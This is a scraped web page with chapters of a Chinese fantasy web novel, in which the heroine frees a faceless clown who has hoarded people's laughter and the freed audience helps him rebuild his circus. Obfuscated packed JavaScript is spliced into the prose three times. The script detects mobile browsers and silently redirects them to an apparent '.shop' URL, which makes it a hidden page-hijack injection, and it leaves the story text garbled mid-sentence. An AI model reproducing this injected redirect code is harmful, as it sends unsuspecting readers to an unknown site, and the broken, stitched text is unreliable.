l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399821|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >想起他说“不笑的人,会成为下一个节目”。 想起他站在那儿,背对着灯光,影子像一根扭曲的绳子。 他也是这样吗? 也曾经会真的笑? 也曾经被人喜欢? 后来学会了假笑,就忘了真的? 她继续往前走。 走廊尽头,又是一扇门。 推开门。 刺眼的光照进来。 她眯起眼睛。 等眼睛适应了,她看到—— 观众席。 她又回到了马戏团的大帐篷里。 但位置不一样了。 她站在舞台上。 面前是那面巨大的镜子。 镜子里的她,已经不见了。 微笑先生站在旁边,用那张空白的脸对着她。 观众席上,那些空着眼睛的人还在。 但他们不笑了。 只是看着她。 用一种奇怪的眼神。 微笑先生开口: “你出来了。” 虞锦看着他: “嗯。” “很少有人能从镜子里出来。”他说,“进去的人,大部分都留在了里面。变成那些——” 他指向观众席: “变成他们。” 虞锦看向观众席。 那些空着眼睛的人,都是曾经进去过的人。 他们没能出来。 被困在镜子里,或者被困在假笑里。 “那你呢?”虞锦问,“你进去过吗?” 微笑先生沉默了几秒。 然后他说: “进去过。” “出来了?” “出来了。”他点头,“但出来的,不是原来的我了。” 他抬起手,摸着自己空白的脸: “原来的我,会笑。现在的我,只会装笑。” 虞锦看着他。 看着他空空的脸上,什么都没有。 她忽然想起走廊里那些照片。 想起那个叫阿笑的小丑。 想起他从真笑到假笑,最后忘了真的。 “你是阿笑。”她说。 微笑先生愣住了。 “什么?” “你是那个小丑。”虞锦说,“永夜马戏团的创始人。曾经世界上最快乐的人。” 微笑先生站在原地,一动不动。 那张空白的脸上,什么都看不出来。 但他的手,在微微发抖。 过了很久,他开口: “你怎么知道?” “走廊里的照片。”虞锦说,“我看到了。” 微笑先生低下头: “那些照片……我以为早就没了。” 他抬起头,对着虞锦: “对,我是阿笑。那个会笑的小丑。那个让人笑的小丑。” 他的声音开始抖: “但我笑不出来了。真的笑不出来了。我只能装笑。装了一百年,装到现在,忘了真的笑是什么感觉。” 虞锦看着他: “所以你建了这个马戏团?” “嗯。”他点头,“我想收集笑。收集那些真的笑,把它们存起来。也许存够了,我就能想起来。” “存起来?”虞锦皱眉,“怎么存?” 微笑先生抬起手,指向舞台上方。 虞锦顺着看过去。 帐篷顶上,挂满了瓶子。 玻璃瓶,大大小小,密密麻麻,在灯光下闪着光。 每一个瓶子里,都有一点光在浮动。 金色的,银色的,彩色的—— “那是……”虞锦的声音发紧。 “笑。”微笑先生说,“真的笑。我收集了一百年,收集了这么多。” 他指着那些瓶子: “那些是小孩的笑,最亮。那些是年轻人的笑,最暖。那些是老人的笑,最轻,但最久。” 虞锦看着那些瓶子。 那么多。 几百个,上千个。 每一个瓶子里,都是一个曾经真实的笑。 “他们怎么给你的?”她问。 微笑先生沉默了几秒。 然后他说: “他们不给我。我拿的。” “拿?” “用他们的笑,换他们的命。”他说,“进这个马戏团的人,都要表演‘真实的笑容’。演得出来的,可以走。演不出来的——” 他看向观众席: “演不出来的,就留在那儿。用他们的笑,换他们的命。” 虞锦看着他。 看着他空白的脸,看着他微微发抖的手,看着帐篷顶上那些闪闪发光的瓶子。 她想起门口那个小丑。 想起他说“不笑的人,会成为下一个节目”。 原来“下一个节目”,不是表演。 是永远留在观众席上。 用空了的眼睛,看别人笑。 “你这样做,”虞锦说,“能想起来吗?” 微笑先生摇头: “不能。” “那为什么还做?” 他沉默了很久。 然后他说: “因为不做,我不知道还能干什么。” 23. 永夜马戏团 那滴泪从空白的脸上滑下来。 没有眼睛,没有鼻子,没有嘴——但它滑下来了。 顺着光滑的面具,一路往下,最后滴在地上。 “啪。” 很轻的一声。 但在安静的帐篷里,每个人都听见了。 微笑先生站在原地,一动不动。 他的手慢慢抬起来,摸着自己的脸。 那张空白的脸。 那滴泪流过的地方,留下了一道痕迹。 不是水痕。 是皮肤的纹理。 虞锦盯着那张脸。 那滴泪流过的地方,出现了一道细细的纹路——像干裂的土地,像老树的年轮,像人脸上该有的皱纹。 “你……”她开口。 微笑先生低下头,看着自己的手。 那只手也在变。 指节开始分明,皮肤开始有纹路,指甲开始长出来。 他整个人,都在从那张空白的面具里,一点一点“长”出来。 “这是……”他的声音变了。 不再是那种空洞的、机械的声音。 是有温度的。 是颤抖的。 小女孩还抱着他,小小的手臂环在他腰上,脸埋在他胸口。 “妈妈说的。”她闷闷地说,“笑不是演出来的。是有人抱你的时候,从心里长出来的。” 微笑先生低头看着她。 那张正在成型的脸上,有什么东西在涌动。 是泪。 更多的泪。 从还没有完全长出来的眼睛里涌出来,流下还没有完全长出来的脸颊。 他伸出手,轻轻抱住那个小女孩。 很轻,很小心,像抱着一件易碎的珍宝。 “谢谢。”他说,声音沙哑,“谢谢你。” 小女孩抬起头,看着他: “你哭了吗?” 微笑先生点头: “嗯。” “为什么哭?” 微笑先生想了想: “因为太久没人抱我了。” 小女孩歪着头: “那你现在开心吗?” 微笑先生愣了一下。 然后他笑了。 那是一个很轻很淡的笑,嘴角只弯了一点点,眼睛里还有泪。 但那是一个真的笑。 真的。 虞锦站在旁边,看着这一幕。 她想起走廊里那些照片。 那个会笑的小丑,站在舞台上,对着观众笑。 那个学会假笑的小丑,笑容越来越空。 那个站在镜子前,看着自己忘了怎么笑的小丑。 现在,他笑了。 真的笑了。 帐篷顶上,那些瓶子里装的笑,开始发光。 不是那种微弱的光,是明亮的、温暖的光。 金色的、银色的、彩色的——每一道光都从瓶子里透出来,照在帐篷里,照在观众席上,照在微笑先生和小女孩身上。 那些空着眼睛的观众,也开始变了。 他们的眼睛慢慢长出来。 不是那种空洞的黑洞,是真的眼睛。 有瞳孔,有眼白,有光。 他们眨眨眼,看着彼此,看着自己的手,看着周围的一切。 “我……”一个中年男人开口,“我怎么会在这儿?” 旁边的一个女人也醒了: “我记得……我进来笑……然后就什么都不记得了……” 他们茫然地看着四周,看着舞台上的微笑先生,看着那个小女孩,看着虞锦。 微笑先生放开小女孩,走到舞台边缘。 他看着那些观众,看着那些刚刚醒过来的人。 “对不起。”他说。 观众们看着他。 “我把你们困在这儿。”他继续说,“用你们的笑,换你们的命。我让你们忘了自己是谁,忘了为什么要笑,只让你们一直笑一直笑——” 他低下头: “对不起。” 观众席上安静了很久。 然后那个中年男人站起来: “你是谁?” 微笑先生抬起头: “我是阿笑。这个马戏团的团长。” 中年男人看着他,看着他那张一半空白、一半成型的脸。 “你……看起来也很惨。”他说。 微笑先生愣住了。 中年男人继续说: “我不记得进来之后的事了。但我记得进来之前——我是自己来的。没人逼我。我想笑,笑不出来。听说这儿能让人笑,我就来了。” 他挠挠头: “所以也不能全怪你。” 旁边那个女人也说: “我也是。我那段时间太难过了,天天哭。听说这儿有能让人笑的办法,就来了。” 又一个观众站起来: “我老婆刚走,我想笑一笑,笑不出来。” 一个接一个。 他们都说是自己来的。 都是想笑,笑不出来,才来的。 微笑先生站在舞台上,看着他们。 那张正在成型的脸上,表情很复杂。 “你们……”他说,“不恨我?” 中年男人想了想: “恨你干什么?你也没让我死。就是让我一直笑一直笑——虽然那笑是假的,但好歹也笑了。” 他笑了,这次是真的: “现在我醒了,也挺好。” 其他观众也笑了。 真的笑了。 不是那种标准微笑,是真的、各种各样的笑。 有的笑得很大声,有的笑得很轻,有的笑着笑着就哭了,有的哭完了又笑。 整个帐篷里,都是笑声。 真的笑声。 微笑先生站在那儿,听着这些笑声。 他闭上眼睛。 眼泪又流下来。 但这次,他在笑。 那个小女孩还站在他旁边,拉着他的衣角。 微笑先生低头看她: “你叫什么名字?” 小女孩想了想: “妈妈叫我小念。” “小念……”他重复,“你妈妈呢?” 小念指向观众席: “在那儿。” 虞锦顺着看过去。 观众席最后一排,坐着一个女人。 很年轻,二十出头,长头发,瓜子脸。 她坐在那儿,看着小念,眼泪一直流。 但她没有过来。 只是看着。 微笑先生牵着小念的手,走下舞台,走向那个女人。 走到她面前,他停下来: “你女儿?” 女人点头,说不出话。 微笑先生把小念的手递给她: “还给你。” 女人握住小念的手,紧紧握住。 然后她抬起头,看着微笑先生: “谢谢。” 微笑先生摇头: “是我该谢她。” 小念站在妈妈身边,仰着头看他: “叔叔,你以后还会笑吗?” 微笑先生愣了一下。 然后他蹲下来,平视她: “会。” “真的吗?” “真的。”他说,“因为你教会我了。” 小念笑了,露出两颗缺了的门牙: “那你要多笑。妈妈说,笑的人好看。” 微笑先生也笑了: “好。” 虞锦走到他身边: “你接下来打算怎么办?” 微笑先生站起来,看着那些正在离开的观众,看着帐篷顶上那些还在发光的瓶子。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404487|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放他们走。”他说,“这些笑,都是借的。该还了。” 他抬起手,对着帐篷顶上打了个响指。 那些瓶子同时打开。 里面的光飞出来。 金色的、银色的、彩色的——像无数只萤火虫,飞向那些刚刚醒来的观众。 飞进他们的胸口。 消失不见。 那些观众愣住,然后笑了。 不是那种刚醒来的茫然的笑,是真正的、从心里长出来的笑。 那些光,本来就是他们的。 现在还给他们了。 观众们一个一个离开帐篷,走出那个门口,走进外面的黑暗里。 他们回头,朝微笑先生挥手。 微笑先生也挥手。 脸上带着笑。 真的笑。 最后,帐篷里只剩下虞锦、微笑先生,和小念母女。 小念拉着妈妈的手,看着微笑先生: “叔叔,我们还能来看你吗?” 微笑先生想了想: “能。” “什么时候?” “什么时候都行。”他说,“我一直在。” 小念满意了: “那我们拉钩。” 她伸出手。 微笑先生伸出小指,和她拉钩。 “拉钩上吊,一百年不许变。” 小念笑了,拉着妈妈往外走。 走到门口,她回头: “叔叔,你要记得笑哦!” 微笑先生点头: “记得。” 她们消失在门外。 帐篷里空了。 只剩下虞锦和微笑先生。 还有那些已经空了的瓶子,挂在帐篷顶上,在灯光里轻轻摇晃。 微笑先生看着那些瓶子: “我收集了一百年,今天全还了。” 虞锦看着他: “后悔吗?” 他想了想: “不后悔。” “为什么?” “因为——”他笑了,“因为我现在知道真的笑是什么感觉了。” 他看着自己的手,那张已经完全成型的脸: “一百年了,我第一次觉得,我活着。” 虞锦点点头: “那就好。” 微笑先生看着她: “你呢?你找到你想找的了吗?” 虞锦愣了一下: “我找什么?” 微笑先生笑了: “你进来的时候,也是想笑吧?” 虞锦沉默了。 她想起镜子里的那个自己说的话: “你最近是不是觉得很累?” 她确实累。 帮了那么多人,改了那么多规则,走了那么多副本。 一直在走,一直没停。 偶尔也想停下来,想笑一笑,想有人抱抱。 但她没说出来。 “可能吧。”她说。 微笑先生看着她: “那你现在笑了吗?” 虞锦想了想。 她想起郁白。 想起他爸做的汤。 想起小北躺在摇篮里,睁着眼睛看天花板。 想起小宝拉着她的手说“姐姐快点来”。 想起母亲站在河边,抱着小宝,朝她挥手。 想起小念抱着微笑先生,让他重新学会笑。 她笑了。 “笑了。”她说。 微笑先生也笑了: “那就好。” 虞锦走到帐篷门口,回头看了一眼。 微笑先生站在舞台上,对着那些空了的瓶子,轻轻地笑。 那个笑容很轻,很淡,但很真实。 她推开门,走出去。 外面是一片黑暗。 但她知道,走着走着,就会有光。 24. 永夜马戏团 几天后,虞锦又去了那片废墟。 不是刻意去的。 只是走着走着,就到了。 那些破败的建筑还在,东倒西歪地立着,像巨大的墓碑。风还在刮,呜呜地响,像有人在哭。 但马戏团不见了。 那座红白相间的巨大帐篷,那些闪烁的彩灯,那个画着金色帐篷的招牌——全都不见了。 只剩下废墟。 和废墟上站着的人。 阿笑。 他站在那儿,背对着虞锦,面对着那片曾经立着马戏团的空地。 今天的阳光很好——如果规则之城那种灰白的光能叫阳光的话。它落在阿笑身上,把他整个人照得发亮。 他穿着一件普通的灰色外套,黑色裤子,脚上是一双旧旧的布鞋。和那晚穿着燕尾服、戴着礼帽的样子完全不同。 像个普通人。 虞锦走过去,站在他旁边。 他转过头,看到她,笑了。 那张脸已经完全长好了。 四十多岁的样子,眼角有细细的纹路,嘴角微微上扬——不是那种画上去的笑,是天生就长那样,看起来像个爱笑的人。 但他的眼睛是活的。 有光的。 “来了?”他问。 虞锦点头: “嗯。” 他继续看着那片空地: “我在想,要不要再建一个。” 虞锦看着他: “建什么?” “马戏团。”他说,“不是那种收集笑的,是真正让人笑的。” 他顿了顿: “但我不懂。真正的笑,要怎么让人笑?” 虞锦想了想: “你以前怎么让人笑的?” 阿笑沉默了几秒。 然后他笑了,笑得很轻: “忘了。” 他看着自己的手: “一百年了。我忘了真正的笑是什么感觉,也忘了怎么让别人真正笑。我只记得假笑——怎么把嘴角翘到合适的位置,怎么让眼睛弯起来,怎么发出‘哈哈哈’的声音。” 他抬起头: “但那是假的。我不想再做假的了。” 虞锦没有说话。 风吹过来,把他的外套吹得鼓起来。 过了一会儿,阿笑忽然说: “你看。” 他指向远方。 虞锦顺着看过去。 废墟的边缘,有人正在走过来。 一个,两个,三个—— 越来越多。 有男有女,有老有少,有的走得很快,有的走得很慢。 虞锦认出了他们。 那个中年男人——第一个醒来的观众,穿着西装,打着领带。 那个女人——她曾经坐在观众席上,空着眼睛笑。 还有那个老人,那个年轻人,那个抱孩子的母亲—— 都是那晚从观众席上醒过来的人。 他们带着家人。 带着朋友。 带着孩子。 朝这边走来。 阿笑看着他们,眼睛慢慢睁大: “他们……” 那些人走近了。 中年男人走在最前面,看到阿笑,笑了: “嘿,你还在啊。” 阿笑张了张嘴,没说出话。 中年男人走过来,拍拍他的肩: “我们商量了一下,觉得应该来看看你。” “看我?” “嗯。”中年男人点头,“你困了我们那么久,我们得让你负责。” 阿笑愣了一下: “负责?负什么责?” 中年男人笑了: “负责教我们笑啊。你收集了我们那么多笑,总得还吧?” 旁边那个女人也笑了: “对对对,你得还。我们那些笑,可都是真的。” 其他人也笑起来。 “你得还!” “教我们笑!” “不然我们天天来烦你!” 阿笑站在那儿,看着他们,看着他们脸上的笑容。 那些笑是真的。 各种各样的。 有的笑得很大声,有的笑得很轻,有的笑着笑着就咳嗽,有的笑完了擦擦眼角。 但都是真的。 阿笑的眼眶慢慢红了。 “我……”他开口,声音有点抖,“我不会。” 中年男人愣了一下: “不会?” “我不会教人笑。”阿笑说,“我只会收集笑。真的笑怎么来,我不知道。” 中年男人看着他,看了几秒。 然后他笑了: “那我们就一起学。” “什么?” 中年男人回头,看着身后那些人: “我们都不会。但我们想学。你也不会,你也想学。那我们就一起学呗。” 其他人纷纷点头: “对对对,一起学。” “反正闲着也是闲着。” “人多学得快。” 阿笑站在那儿,看着他们。 眼泪终于流下来。 但他笑着。 “好。”他说,“一起学。” 那些人开始忙活起来。 有的去捡砖头,有的去搬木头,有的去清理杂草。 中年男人走到阿笑面前: “喂,你这个马戏团,以前怎么建的?” 阿笑愣了一下: “什么?” “马戏团啊。”中年男人指着那片空地,“你不是说想再建一个吗?建啊,我们帮你。” 阿笑看着他,看着那些正在忙活的人: “你们……帮我?” “废话。”中年男人说,“不然我们来干什么?” 他转身,朝其他人喊: “喂——你们说是不是——” “是——”那些人齐声喊。 阿笑站在那儿,眼泪流得更凶了。 但他一直在笑。 虞锦站在旁边,看着这一幕。 看着那些曾经被困在观众席上、空着眼睛笑了不知多久的人,现在在废墟上跑来跑去,搬砖头,抬木头,大声说笑。 看着阿笑站在那儿,哭着笑,笑着哭。 她忽然想起那晚小念说的话: “笑是有人抱你的时候,从心里长出来的。” 现在阿笑没有被抱。 但他被围着了。 被这些人围着。 这些他曾经困住的人,现在在帮他建新的家。 阳光落下来,照在他们身上。 废墟还是废墟。 但那些破败的建筑,好像没那么像墓碑了。 更像—— 更像一个正在盖起来的家。 中午的时候,他们停下来休息。 有人从带来的篮子里拿出吃的,分给大家。 面包,水果,水,还有一小瓶酒。 中年男人把酒递给阿笑: “喝点?” 阿笑接过,喝了一口,呛得直咳嗽。 旁边的人都笑了。 阿笑也笑了,咳着笑: “太……太冲了……” 中年男人拍拍他的背: “第一次喝都这样。多喝几次就好了。” 阿笑看着他: “你叫什么名字?” 中年男人愣了一下: “我?我叫老张。” “老张……”阿笑重复,“你以前是干什么的?” 老张想了想: “不记得了。就记得我那段时间特别难过,天天想死。听说这儿能让人笑,就来了。” 他笑了: “结果笑是笑了,但人是假的。现在醒了,挺好。” 阿笑低下头: “对不起。” 老张看着他: “又说对不起。你烦不烦?” 阿笑抬头。 老张指着周围那些人: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411091|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你看看他们。他们怪你吗?” 阿笑看过去。 那些人坐在一起,吃东西,聊天,笑。 看到他看过来,有人朝他挥挥手。 阿笑也挥挥手。 老张说: “我们都不怪你。因为你也是病人。” “病人?” “嗯。”老张点头,“和我们一样。想笑,笑不出来。只不过我们是被困住的,你是困住人的。但病是一样的。” 他拍拍阿笑的肩: “所以别老说对不起了。好好活着,好好笑,就行。” 阿笑看着他,看了很久。 然后他点点头: “好。” 下午,他们继续干活。 太阳慢慢西斜——如果那个灰白的光团能叫太阳的话。 虞锦走到阿笑身边: “我该走了。” 阿笑看着她: “还会来吗?” 虞锦想了想: “会。” 阿笑笑了: “那我等你。” 他顿了顿: “等你来的时候,说不定马戏团已经建好了。” 虞锦看着那片空地。 地基已经画出来了,用石头围成一个圈。中间立着一根高高的杆子,顶上绑着一块红布,在风里飘。 “会是什么样的?”她问。 阿笑想了想: “不知道。但肯定不是以前那样。” 他笑了: “以前那个,是让人假笑的。这个,要让人真笑。” 虞锦点点头: “那好。” 她转身,往废墟外面走。 走了几步,回头。 阿笑还站在那儿,朝她挥手。 那些人也站在他旁边,朝他挥手。 阳光落下来,照在他们身上。 废墟还是废墟。 但那些人站着的地方,好像有光。 不是那种灰白的光。 是暖的。 虞锦走了很久。 走到废墟边缘的时候,她忽然听到身后传来一阵笑声。 很响,很远,但很清楚。 是很多人在笑。 她回头。 废墟那边,那些人围成一圈,不知道在笑什么。 阿笑站在中间,笑得最大声。 虞锦看着他们,看了几秒。 然后她也笑了。 转过身,继续往前走。 她知道,那个马戏团,会建起来的。 不是用来收集笑的。 是用来让人笑的。 回到小镇的时候,天已经黑了——真正的黑。 郁白站在院子里,等着她。 看到她,他走过来: “怎么这么久?” 虞锦想了想: “看人建房子。” 郁白愣了一下: “建房子?” “嗯。”虞锦说,“马戏团。” 郁白没再问。 他只是看着她: “饿不饿?” 虞锦点头: “饿。” 郁白往屋里走: “我爸做了饭,等你呢。” 虞锦跟着他走进去。 屋里,他爸正在盛汤。 小北躺在摇篮里,睁着眼睛看天花板,嘴里“咿咿呀呀”的。 桌上摆着热腾腾的饭菜。 虞锦坐下来,喝了一口汤。 暖的。 从嘴里暖到心里。 郁白坐在对面,看着她: “那个马戏团,以后会变成什么样?” 虞锦想了想: “会变成一个让人笑的地方。” 郁白看着她: “那你笑了吗?” 虞锦愣了一下。 然后她笑了。 “笑了。”她说。 郁白也笑了: “那就好。”